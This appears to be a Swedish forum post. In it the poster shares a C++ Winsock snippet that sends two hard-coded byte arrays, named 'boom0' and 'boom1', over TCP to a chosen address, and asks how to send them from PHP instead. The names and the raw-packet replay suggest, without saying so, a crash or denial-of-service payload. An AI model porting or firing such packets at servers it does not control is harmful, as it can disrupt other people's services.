Jag förstår inte hur jag skall få iväg datan på rätt sätt...
char boom0[] = {
0x00, 0x54, 0xaa, 0x56, 0x24, 0xcf, 0x9f, 0xaf,
0x6f, 0xc6, 0xc2, 0xfe, 0xeb, 0xb5, 0x61, 0x2f,
0xda, 0x78, 0x8c, 0x49, 0xa3, 0x9b, 0x09, 0xf6,
0xc0, 0x6c, 0x3a, 0xe5, 0x83, 0x7c, 0x39, 0x93,
0x8b, 0xf9, 0xe6, 0xb0, 0x5c, 0x2a, 0xd5, 0x73,
0x87, 0x44, 0x9e, 0x96, 0x04, 0xf1, 0xbb, 0x67,
0x35, 0xe0, 0x7e, 0x92, 0x4f, 0xa9, 0xa1, 0x0f,
0xe1, 0xab, 0x57, 0x25, 0xd0, 0x6e, 0x82, 0x3f,
0x99, 0x91, 0xff, 0xec, 0xb6, 0x62, 0x30, 0xdb,
0x79, 0x8d, 0x4a, 0xa4, 0x9c, 0x0a, 0xf7, 0xc1,
0x6d, 0x3b, 0xe6, 0x69, 0x7d, 0x3a };
char boom1[] = { 0x00, 0x01, 0x00 };
WSADATA wsadata;
WSAStartup(MAKEWORD(2,2), &wsadata);
SOCKADDR_IN host;
host.sin_family = AF_INET;
host.sin_port = htons(port);
host.sin_addr.s_addr = inet_addr(ip);
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(connect(sock, (SOCKADDR *)&host,sizeof(host)) == SOCKET_ERROR) {
cout << "Could not connect to " << ip << ":" << port << endl;
return 1;
}
send(sock,boom0,sizeof(boom0),0);
send(sock,boom1,sizeof(boom1),0);
char boom0[] och char boom1[] innehåller paketen om jag har fattat rätt, men hur ska jag få dem i rätt "format" så att de går att skicka genom PHP?
EDIT: NVM, har hittat en bra lösning...
Vet dock ej hur det kommer att fungera i Linux då det är en .exe fil, finns flera filer i mappen som kanske kan köras i Linux på något sätt men har inte möjlighet att testa just nu =/